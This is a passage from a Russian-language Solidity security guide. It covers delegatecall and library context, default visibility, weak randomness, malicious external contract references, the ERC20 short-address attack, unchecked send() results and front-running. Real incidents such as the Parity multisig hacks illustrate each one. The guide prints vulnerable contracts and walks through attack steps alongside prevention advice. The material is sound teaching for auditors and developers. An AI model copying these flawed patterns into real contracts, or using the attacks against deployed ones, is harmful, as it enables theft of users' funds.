Solidity предоставляет ключевое слово `library` для реализации библиотечных контрактов (см. [Документацию Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) для дальнейших подробностей). Это гарантирует, что библиотечный контракт не имеет состояния и не может быть самоуничтожен. Принудительное отсутствие состояния у библиотек снижает сложности контекста хранилища, продемонстрированные в этом разделе. Библиотеки без состояния также предотвращают атаки, при которых злоумышленники напрямую изменяют состояние библиотеки, чтобы повлиять на контракты, зависящие от кода библиотеки.
Как общее правило, при использовании `DELEGATECALL` уделяйте пристальное внимание возможному контексту вызова как библиотечного контракта, так и вызывающего контракта, и, когда это возможно, создавайте библиотеки без состояния.
<h3 id="dc-example">Реальный пример: Parity Multisig Wallet (второй взлом)</h3>
Второй взлом Parity Multisig Wallet — это пример того, как контекст хорошо написанного библиотечного кода может быть использован, если он запускается в непредусмотренном для него контексте. Существует множество хороших объяснений этого взлома, например, этот обзор: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) от Энтони Акентьева, этот [вопрос на Stack Exchange](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) и [Подробный анализ ошибки Parity Multisig](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).
В дополнение к этим ссылкам, давайте исследуем контракты, которые были использованы. Библиотечный контракт и контракт кошелька можно найти в репозитории parity на GitHub [здесь](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol).
Давайте рассмотрим соответствующие аспекты этого контракта. Здесь содержатся два интересующих нас контракта: библиотечный контракт и контракт кошелька.
Библиотечный контракт,```solidity
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
и контракт кошелька,```solidity contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); else if (msg.data.length > 0) _walletLibrary.delegatecall(msg.data); }
...
// FIELDS address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe; }
Обратите внимание, что контракт `Wallet` по сути передаёт все вызовы контракту `WalletLibrary` через delegate call. Адрес константы `_walletLibrary` в этом фрагменте кода выступает в качестве заполнителя для реально развёрнутого контракта `WalletLibrary` (который находился по адресу `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).
Предполагаемая работа этих контрактов заключалась в том, чтобы иметь простой недорогой развёртываемый контракт `Wallet`, чья кодовая база и основная функциональность находились в контракте `WalletLibrary`. К сожалению, контракт `WalletLibrary` сам является контрактом и поддерживает собственное состояние. Видите ли вы, почему это может быть проблемой?
Можно отправлять вызовы самому контракту `WalletLibrary`. В частности, контракт `WalletLibrary` можно было инициализировать и получить владельца. Один пользователь сделал это, вызвав функцию `initWallet()` на контракте `WalletLibrary`, став владельцем контракта библиотеки. Тот же пользователь впоследствии вызвал функцию `kill()`. Поскольку пользователь был владельцем контракта библиотеки, проверка модификатора прошла успешно, и контракт библиотеки самоуничтожился. Так как все существующие контракты `Wallet` ссылаются на этот контракт библиотеки и не содержат метода для изменения этой ссылки, вся их функциональность, включая возможность вывода ether, утрачивается вместе с контрактом `WalletLibrary`. Если говорить более прямо: весь ether во всех parity multi-sig кошельках такого типа мгновенно становится потерянным или навсегда невосстановимым.
<h2 id="visibility"><span id="SP-5">5. Видимость по умолчанию</span></h2>
Функции в Solidity имеют спецификаторы видимости, которые определяют, каким образом разрешено вызывать функции. Видимость определяет, может ли функция вызываться внешне пользователями, другими производными контрактами, только внутренне или только внешне. Существует четыре спецификатора видимости, подробно описанные в [документации Solidity](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters). По умолчанию функции имеют спецификатор `public`, что позволяет пользователям вызывать их извне. Неправильное использование спецификаторов видимости может привести к разрушительным уязвимостям в смарт-контрактах, как будет обсуждаться в этом разделе.
<h3 id="visibility-vuln">Уязвимость</h3>
По умолчанию для функций установлена видимость `public`. Поэтому функции, не указывающие никакой видимости, могут вызываться внешними пользователями. Проблема возникает, когда разработчики по ошибке игнорируют спецификаторы видимости для функций, которые должны быть private (или вызываться только внутри самого контракта).
Давайте быстро рассмотрим тривиальный пример.```solidity
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
Этот простой контракт задуман как игра-вознаграждение по угадыванию адреса. Чтобы выиграть баланс контракта, пользователь должен сгенерировать адрес Ethereum, последние 8 шестнадцатеричных символов которого равны 0. Получив такой адрес, он может вызвать функцию WithdrawWinnings(), чтобы забрать своё вознаграждение.
К сожалению, видимость функций не была указана. В частности, функция _sendWinnings() является public, и поэтому любой адрес может вызвать эту функцию, чтобы украсть вознаграждение.
Рекомендуется всегда указывать видимость всех функций в контракте, даже если они намеренно public. Последние версии Solidity теперь показывают предупреждения во время компиляции для функций, у которых не задана явная видимость, чтобы поощрять эту практику.
В результате первого взлома мультиподписного кошелька Parity было украдено около $31 млн в эфире, в основном из трёх кошельков. Подробный разбор того, как именно это произошло, приведён Хасибом Куреши в этой статье.
По сути, мультиподписной кошелёк (который можно найти здесь) построен на основе базового контракта Wallet, который вызывает библиотечный контракт, содержащий основную функциональность (как описано в Примере из реального мира: Parity Multisig (второй взлом)). Библиотечный контракт содержит код для инициализации кошелька, как видно из следующего фрагмента```solidity
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function initMultiowned(address[] _owners, uint _required) { m_numOwners = _owners.length + 1; m_owners[1] = uint(msg.sender); m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[2 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 2 + i; } m_required = _required; }
...
// constructor - just pass on the owner array to the multiowned and // the limit to daylimit function initWallet(address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); } }
Обратите внимание, что ни одна из функций явно не указала видимость. Обе функции по умолчанию являются `public`. Функция `initWallet()` вызывается в конструкторе кошелька и устанавливает владельцев для мультиподписного кошелька, как видно в функции `initMultiowned()`. Поскольку эти функции были случайно оставлены `public`, злоумышленник смог вызвать эти функции на развернутых контрактах, сбросив право собственности на адрес злоумышленника. Будучи владельцем, злоумышленник затем вывел из кошельков весь их эфир на сумму \$31M.
<h2 id="entropy"><span id="SP-6">6. Иллюзия энтропии</span></h2>
Все транзакции в блокчейне Ethereum являются детерминированными операциями перехода состояния. Это означает, что каждая транзакция изменяет глобальное состояние экосистемы Ethereum, и делает это вычисляемым способом, без какой-либо неопределенности. В конечном счете это означает, что внутри экосистемы блокчейна нет источника энтропии или случайности. В Solidity нет функции `rand()`. Достижение децентрализованной энтропии (случайности) — хорошо известная проблема, и было предложено множество идей для её решения (см., например, [RandDAO](https://github.com/randao/randao) или использование цепочки хэшей, как описано Виталиком в этом [посте](https://vitalik.ca/files/randomness.html)).
<h3 id="entropy-vuln">Уязвимость</h3>
Некоторые из первых контрактов, построенных на платформе Ethereum, были основаны на азартных играх. В основе азартных игр лежит неопределенность (то, на что можно ставить), что делает создание системы азартных игр в блокчейне (детерминированной системе) довольно сложным. Очевидно, что неопределенность должна приходить из источника, внешнего по отношению к блокчейну. Это возможно для ставок между участниками (см., например, [технику commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), однако значительно сложнее, если вы хотите реализовать контракт, действующий как *казино* (например, в блэкджеке или рулетке). Распространенная ошибка — использовать переменные будущих блоков, такие как хэши, временные метки, номер блока или лимит газа. Проблема в том, что они контролируются майнером, который добывает блок, и поэтому не являются по-настоящему случайными. Рассмотрим, например, смарт-контракт рулетки с логикой, которая возвращает черное число, если хэш следующего блока заканчивается четным числом. Майнер (или пул майнеров) может поставить \$1M на черное. Если они решат следующий блок и обнаружат, что хэш заканчивается нечетным числом, они с радостью не будут публиковать свой блок и будут добывать другой, пока не найдут решение с четным хэшем блока (при условии, что награда за блок и комиссии меньше $1M). Использование прошлых или настоящих переменных может быть еще более разрушительным, как демонстрирует Мартин Свенде в своем превосходном [посте в блоге](http://martin.swende.se/blog/Breaking_the_house.html). Кроме того, использование только переменных блока означает, что псевдослучайное число будет одинаковым для всех транзакций в блоке, поэтому злоумышленник может умножить свои выигрыши, выполнив много транзакций в одном блоке (если существует максимальная ставка).
<h3 id="entropy-prevention">Методы предотвращения</h3>
Источник энтропии (случайности) должен быть внешним по отношению к блокчейну. Это может быть сделано среди участников с помощью таких систем, как [commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract), или путем изменения модели доверия на группу участников (например, в [RandDAO](https://github.com/randao/randao)). Это также может быть сделано через централизованную сущность, которая действует как оракул случайности. Переменные блока (в целом, есть некоторые исключения) не должны использоваться как источник энтропии, поскольку ими могут манипулировать майнеры.
<h3 id="entropy-example">Пример из реального мира: контракты PRNG</h3>
Арсений Реутов написал [пост в блоге](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) после того, как проанализировал 3649 работающих смарт-контрактов, использовавших тот или иной генератор псевдослучайных чисел (PRNG), и обнаружил 43 контракта, которые можно было эксплуатировать.
<h2 id="contract-reference"><span id="SP-7">7. Ссылки на внешние контракты</span></h2>
Одним из преимуществ *глобального компьютера* Ethereum является возможность повторно использовать код и взаимодействовать с контрактами, уже развернутыми в сети. В результате большое количество контрактов ссылаются на внешние контракты и в общем случае используют внешние вызовы сообщений для взаимодействия с этими контрактами. Эти внешние вызовы сообщений могут маскировать намерения злоумышленников некоторыми неочевидными способами, которые мы обсудим.
<h3 id="cr-vuln">Уязвимость</h3>
В Solidity любой адрес может быть приведен к контракту независимо от того, представляет ли код по этому адресу тип контракта, к которому происходит приведение. Это может вводить в заблуждение, особенно когда автор контракта пытается скрыть вредоносный код. Проиллюстрируем это на примере:
Рассмотрим фрагмент кода, который примитивно реализует шифр [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13).
`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
Этот код просто берёт строку (буквы a-z, без проверки) и шифрует её, сдвигая каждый символ на 13 позиций вправо (с переносом после 'z'); т.е. 'a' сдвигается до 'n', а 'x' — до 'k'. Ассемблер здесь не важен, так что не переживайте, если на этом этапе он не имеет смысла.```solidity import "Rot13Encryption.sol";
// encrypt your top secret info contract EncryptionContract { // library for encryption Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
Проблема с этим контрактом заключается в том, что адрес `encryptionLibrary` не является публичным или константным. Таким образом, развёртывающий контракт мог указать в конструкторе адрес, который указывает на этот контракт:```solidity
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
который реализует шифр rot26 (сдвигает каждый символ на 26 позиций, понятно? :p). Опять же, нет необходимости понимать ассемблер в этом контракте. Развернувший контракт мог также привязать следующий контракт:```solidity contract Print{ event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
Если бы адрес любого из этих контрактов был указан в конструкторе, функция `encryptPrivateData()` просто создала бы событие, выводящее незашифрованные приватные данные. Хотя в этом примере в конструкторе был установлен контракт, похожий на библиотеку, часто привилегированный пользователь (например, `owner`) может изменять адреса библиотечных контрактов. Если связанный контракт не содержит вызываемую функцию, будет выполнена fallback-функция. Например, для строки `encryptionLibrary.rot13Encrypt()`, если контракт, указанный в `encryptionLibrary`, был:```solidity
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
then an event with the text "Here" would be emitted. Thus if users can alter contract libraries, they can in principle get users to unknowingly run arbitrary code.
Note: Don't use encryption contracts such as these, as the input parameters to smart contracts are visible on the blockchain. Also the Rot cipher is not a recommended encryption technique :p
As demonstrated above, vulnerability free contracts can (in some cases) be deployed in such a way that they behave maliciously. An auditor could publicly verify a contract and have it's owner deploy it in a malicious way, resulting in a publicly audited contract which has vulnerabilities or malicious intent.
There are a number of techniques which prevent these scenarios.
One technique, is to use the new keyword to create contracts. In the example above, the constructor could be written like:```solidity
constructor() {
encryptionLibrary = new Rot13Encryption();
}
Таким образом, экземпляр указанного контракта создаётся во время развёртывания, и деплойер не может заменить контракт `Rot13Encryption` ничем иным, не модифицируя смарт-контракт.
Другое решение — жёстко прописать любые адреса внешних контрактов, если они известны.
В целом код, который вызывает внешние контракты, всегда следует внимательно проверять. Разработчику при определении внешних контрактов может быть полезно сделать адреса контрактов публичными (чего нет в примере с ловушкой, приведённом ниже), чтобы пользователи могли легко проверять, на какой код ссылается контракт. И наоборот, если контракт содержит приватную переменную с адресом контракта, это может быть признаком злонамеренного поведения (как показано в реальном примере). Если привилегированный (или любой) пользователь может изменять адрес контракта, используемый для вызова внешних функций, может быть важно (в контексте децентрализованной системы) реализовать механизм временной блокировки (time-lock) или голосования, чтобы пользователи могли видеть, какой код изменяется, или дать участникам возможность решить, продолжать ли использовать новый адрес контракта.
<h3 id="cr-example">Реальный пример: ловушка с повторным входом</h3>
Ряд недавних ловушек был опубликован в основной сети (mainnet). Эти контракты пытаются перехитрить хакеров Ethereum, которые пытаются эксплуатировать контракты, но в итоге теряют эфир, попадающий к контракту, который они рассчитывали взломать. Один пример использует вышеописанную атаку, подменяя ожидаемый контракт вредоносным в конструкторе. Код можно найти [здесь](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code):```solidity
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
Этот пост одного пользователя Reddit объясняет, как он потерял 1 эфир на этом контракте, пытаясь использовать баг повторного входа, который, как он ожидал, присутствует в контракте.
Эта атака выполняется не непосредственно на контрактах Solidity, а на сторонних приложениях, которые могут взаимодействовать с ними. Я добавляю эту атаку для полноты картины и чтобы было понятно, как параметры могут быть изменены в контрактах.
Для дальнейшего чтения см. Объяснение атаки с коротким адресом ERC20, Уязвимость смарт-контракта ICO: атака с коротким адресом или этот пост на Reddit.
При передаче параметров смарт-контракту параметры кодируются в соответствии со спецификацией ABI. Можно отправить закодированные параметры, длина которых меньше ожидаемой длины параметра (например, отправить адрес длиной всего 38 шестнадцатеричных символов (19 байт) вместо стандартных 40 шестнадцатеричных символов (20 байт)). В таком сценарии EVM дополнит нулями конец закодированных параметров, чтобы достичь ожидаемой длины.
Это становится проблемой, когда сторонние приложения не проверяют входные данные. Самый наглядный пример — биржа, которая не проверяет адрес токена ERC20, когда пользователь запрашивает вывод средств. Этот пример более подробно рассмотрен в посте Питера Венесса, Объяснение атаки с коротким адресом ERC20, упомянутом выше.
Рассмотрим стандартный интерфейс функции transfer токена ERC20, обратив внимание на порядок параметров,```solidity function transfer(address to, uint tokens) public returns (bool success);
Теперь представьте биржу, которая держит большое количество токена (скажем, `REP`), и пользователя, желающего вывести свою долю в 100 токенов. Пользователь отправляет свой адрес, `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead`, и количество токенов — `100`. Биржа кодирует эти параметры в порядке, заданном функцией `transfer()`, то есть сначала `address`, затем `tokens`. Закодированный результат будет выглядеть как `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000` `000000000000000000000000000000000056bc75e2d63100000`. Первые четыре байта (`a9059cbb`) — это [сигнатура/селектор функции](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) `transfer()`, вторые 32 байта — адрес, за которыми следуют последние 32 байта, представляющие число токенов в формате `uint256`. Обратите внимание, что шестнадцатеричное значение `56bc75e2d63100000` в конце соответствует 100 токенам (с 18 десятичными знаками, как указано в контракте токена `REP`).
Итак, давайте посмотрим, что произойдёт, если мы отправим адрес, в котором не хватает 1 байта (2 шестнадцатеричных цифр). В частности, предположим, что злоумышленник отправляет `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` в качестве адреса (без последних двух цифр) и те же `100` токенов для вывода. Если биржа не проверяет эти входные данные, они будут закодированы как `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. Разница едва заметна. Обратите внимание, что `00` было добавлено в конец кодировки, чтобы компенсировать укороченный отправленный адрес. Когда это будет отправлено в смарт-контракт, параметр `address` будет прочитан как `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00`, а значение — как `56bc75e2d6310000000` (обратите внимание на два дополнительных `0`). Теперь это значение составляет `25600` токенов (значение было умножено на `256`). В этом примере, если бы биржа обладала таким количеством токенов, пользователь вывел бы `25600` токенов (в то время как биржа думает, что пользователь выводит всего `100`) на изменённый адрес. Очевидно, что в этом примере злоумышленник не будет владеть изменённым адресом, но если бы он сгенерировал любой адрес, оканчивающийся на `0` (что легко подобрать перебором), и использовал бы этот сгенерированный адрес, то легко смог бы украсть токены у ничего не подозревающей биржи.
<h3 id="short-prev">Методы предотвращения</h3>
Полагаю, очевидно, что проверка всех входных данных перед их отправкой в блокчейн предотвратит подобного рода атаки. Также следует отметить, что порядок параметров играет здесь важную роль. Поскольку дополнение происходит только в конце, тщательный порядок параметров в смарт-контракте потенциально может смягчить некоторые формы этой атаки.
<h3 id="short-example">Реальный пример: неизвестен</h3>
Я не знаю о каких-либо публичных атаках такого рода в реальном мире.
<h2 id="unchecked-calls"><span id="SP-9">9. Непроверенные возвращаемые значения CALL</span></h2>
Существует ряд способов выполнения внешних вызовов в Solidity. Отправка эфира на внешние счета обычно выполняется с помощью метода `transfer()`. Однако также можно использовать функцию `send()`, а для более универсальных внешних вызовов в Solidity можно напрямую применять опкод `CALL`. Функции `call()` и `send()` возвращают булево значение, указывающее, успешен ли вызов или завершился неудачей. Таким образом, у этих функций есть одна простая оговорка: транзакция, выполняющая эти функции, не будет отменена, если внешний вызов (инициированный `call()` или `send()`) завершится неудачей; вместо этого `call()` или `send()` просто вернут `false`. Частая ошибка возникает, когда возвращаемое значение не проверяется, а разработчик ожидает, что произойдёт откат.
Для дальнейшего чтения см. [DASP Top 10](http://www.dasp.co/#item-4) и [Сканирование живых Ethereum-контрактов на предмет ошибки «Unchecked-Send»](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).
<h3 id="unchecked-calls-vuln">Уязвимость</h3>
Рассмотрим следующий пример:```solidity
contract Lotto {
bool public payedOut = false;
address public winner;
uint public winAmount;
// ... extra functionality here
function sendToWinner() public {
require(!payedOut);
winner.send(winAmount);
payedOut = true;
}
function withdrawLeftOver() public {
require(payedOut);
msg.sender.send(this.balance);
}
}
Этот контракт представляет собой контракт, похожий на лотерею Lotto, где winner получает winAmount эфира, что обычно оставляет небольшой остаток, который любой желающий может вывести.
Ошибка существует на строке [11], где send() используется без проверки ответа. В этом тривиальном примере winner, чья транзакция завершается неудачей (либо из-за исчерпания газа, либо из-за того, что это контракт, намеренно выбрасывающий исключение в fallback-функции), позволяет установить payedOut в true (независимо от того, был ли отправлен эфир). В этом случае любой желающий может вывести выигрыш winner через функцию withdrawLeftOver().
Когда это возможно, используйте функцию transfer() вместо send(), так как transfer() выполнит revert, если внешняя транзакция откатится. Если необходимо использовать send(), всегда проверяйте возвращаемое значение.
Ещё более надёжная рекомендация — принять паттерн вывода средств. В этом решении каждый пользователь сам вызывает изолированную функцию (то есть функцию withdraw), которая обрабатывает отправку эфира из контракта и поэтому независимо справляется с последствиями неудачных транзакций отправки. Идея состоит в том, чтобы логически изолировать внешнюю функцию отправки от остальной кодовой базы и возложить бремя потенциально неудачной транзакции на конечного пользователя, который вызывает функцию withdraw.
Etherpot был лотерейным смарт-контрактом, не слишком отличающимся от упомянутого выше примера контракта. Код Solidity для Etherpot можно найти здесь: lotto.sol. Основной недостаток этого контракта был связан с некорректным использованием хешей блоков (использовать можно только последние 256 хешей блоков, см. пост Аакила Фернандеса о том, как Etherpot не смог реализовать это правильно). Однако этот контракт также страдал от непроверенного значения вызова. Обратите внимание на функцию cash() на строке [80] файла lotto.sol:```solidity
...
function cash(uint roundIndex, uint subpotIndex){
var subpotsCount = getSubpotsCount(roundIndex);
if(subpotIndex>=subpotsCount)
return;
var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);
if(decisionBlockNumber>block.number)
return;
if(rounds[roundIndex].isCashed[subpotIndex])
return;
//Subpots can only be cashed once. This is to prevent double payouts
var winner = calculateWinner(roundIndex,subpotIndex);
var subpot = getSubpot(roundIndex);
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
} ...
Обратите внимание, что в строке \[21\] возвращаемое значение функции `send` не проверяется, а следующая строка затем устанавливает булево значение, указывающее, что победителю уже отправлены его средства. Эта ошибка может привести к состоянию, при котором победитель не получает свои эфиры, но состояние контракта может указывать на то, что победитель уже получил оплату.
Более серьёзная версия этой ошибки возникла в [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). Отличный [пост-мортем](https://www.kingoftheether.com/postmortem.html) этого контракта был написан, в котором подробно описано, как непроверенный неудачный `send()` мог быть использован для атаки на контракт.
<h2 id="race-conditions"><span id="SP-10">10. Гонки (Race Conditions) / Опережение (Front Running)</span></h2>
Сочетание внешних вызовов других контрактов и многопользовательская природа базового блокчейна порождают множество потенциальных подводных камней Solidity, при которых пользователи *соревнуются* за выполнение кода, чтобы достичь неожиданных состояний. [Повторный вход (Re-Entrancy)](#reentrancy) — это один из примеров такой гонки. В этом разделе мы поговорим более обобщённо о различных видах гонок, которые могут возникать в блокчейне Ethereum. По этой теме существует множество хороших публикаций, вот некоторые из них: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) и [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).
<h3 id="race-conditions-vuln">Уязвимость</h3>
Как и в большинстве блокчейнов, узлы Ethereum объединяют транзакции в пул и формируют из них блоки. Транзакции считаются действительными только после того, как майнер решит консенсусный механизм (в настоящее время для Ethereum это [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW). Майнер, решивший блок, также выбирает, какие транзакции из пула будут включены в блок; обычно это упорядочивается по `gasPrice` транзакции. Здесь скрывается потенциальный вектор атаки. Злоумышленник может наблюдать за пулом транзакций в поисках транзакций, которые могут содержать решения проблем, изменять или отзывать права злоумышленника или изменять состояние контракта нежелательным для злоумышленника образом. Затем злоумышленник может получить данные из этой транзакции и создать собственную транзакцию с более высоким `gasPrice`, добившись включения своей транзакции в блок раньше исходной.
Давайте посмотрим, как это может работать на простом примере. Рассмотрим контракт `FindThisHash.sol`:```solidity
contract FindThisHash {
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
constructor() public payable {} // load with ether
function solve(string solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == sha3(solution));
msg.sender.transfer(1000 ether);
}
}
Представьте, что этот контракт содержит 1000 эфиров. Пользователь, который сможет найти прообраз SHA3-хэша 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a, может отправить решение и получить 1000 эфиров. Допустим, один пользователь выяснил, что решением является Ethereum!. Он вызывает solve() с параметром Ethereum!. К сожалению, злоумышленник оказался достаточно сообразительным, чтобы наблюдать за пулом транзакций в поисках того, кто отправляет решение. Он видит это решение, проверяет его корректность и затем отправляет эквивалентную транзакцию с гораздо более высокой gasPrice, чем у исходной транзакции. Майнер, который решит блок, скорее всего, отдаст предпочтение злоумышленнику из-за более высокой gasPrice и примет его транзакцию раньше, чем транзакцию исходного решателя. Злоумышленник заберёт 1000 эфиров, а пользователь, решивший задачу, не получит ничего (в контракте не осталось эфира).
Более реалистичная проблема возникает при проектировании будущей реализации Casper. Контракты Casper на основе proof of stake вызывают условия слэшинга, когда пользователи, заметившие, что валидаторы голосуют дважды или ведут себя неподобающе, стимулируются отправлять доказательства этих действий. Валидатор будет наказан, а пользователь вознаграждён. В таком сценарии ожидается, что майнеры и пользователи будут опережать подобные отправки доказательств, и эта проблема должна быть решена до финального релиза.
Существует два класса пользователей, которые могут выполнять подобные атаки с опережением. Пользователи (которые изменяют gasPrice своих транзакций) и сами майнеры (которые могут переупорядочивать транзакции в блоке так, как считают нужным). Контракт, уязвимый к первому классу (пользователи), находится в значительно более плачевном положении, чем уязвимый ко второму (майнеры), поскольку майнеры могут совершить атаку только тогда, когда решают блок, что маловероятно для любого отдельного майнера, нацеленного на конкретный блок. Здесь я перечислю несколько мер по смягчению последствий с указанием того, от какого класса атакующих они могут защитить.
Один из применяемых методов — создать в контракте логику, которая устанавливает верхнюю границу для gasPrice. Это не позволяет пользователям повышать gasPrice и получать преимущественный порядок обработки транзакций сверх установленного предела. Эта превентивная мера смягчает только первый класс атакующих (произвольных пользователей). Майнеры в этом сценарии всё ещё могут атаковать контракт, поскольку могут упорядочивать транзакции в своём блоке как угодно, независимо от цены газа.
Более надёжный метод — по возможности использовать схему commit-reveal. Такая схема предписывает пользователям отправлять транзакции со скрытой информацией (обычно хэшем). После того как транзакция включена в блок, пользователь отправляет транзакцию, раскрывающую отправленные данные (фаза раскрытия). Этот метод предотвращает опережение транзакций как майнерами, так и пользователями, поскольку они не могут определить содержимое транзакции. Однако этот метод не может скрыть сумму транзакции (которая в некоторых случаях и является ценной информацией, требующей сокрытия). Смарт-контракт ENS позволял пользователям отправлять транзакции, чьи зафиксированные данные включали сумму эфира, которую они готовы были потратить. Затем пользователи могли отправлять транзакции на произвольную сумму. В фазе раскрытия пользователям возвращалась разница между суммой, отправленной в транзакции, и суммой, которую они готовы были потратить.
Ещё одно предложение от Лоренца, Фила, Ари и Флориана — использовать Submarine Sends. Эффективная реализация этой идеи требует опкода CREATE2, который в настоящее время ещё не принят, но, судя по всему, появится в предстоящих хард-форках.
Стандарт ERC20 довольно хорошо известен для создания токенов на Ethereum. В этом стандарте есть потенциальная уязвимость, связанная с опережением, которая возникает из-за функции approve(). Хорошее объяснение этой уязвимости можно найти здесь.
Стандарт определяет функцию approve() следующим образом:```solidity
function approve(address _spender, uint256 _value) returns (bool success)
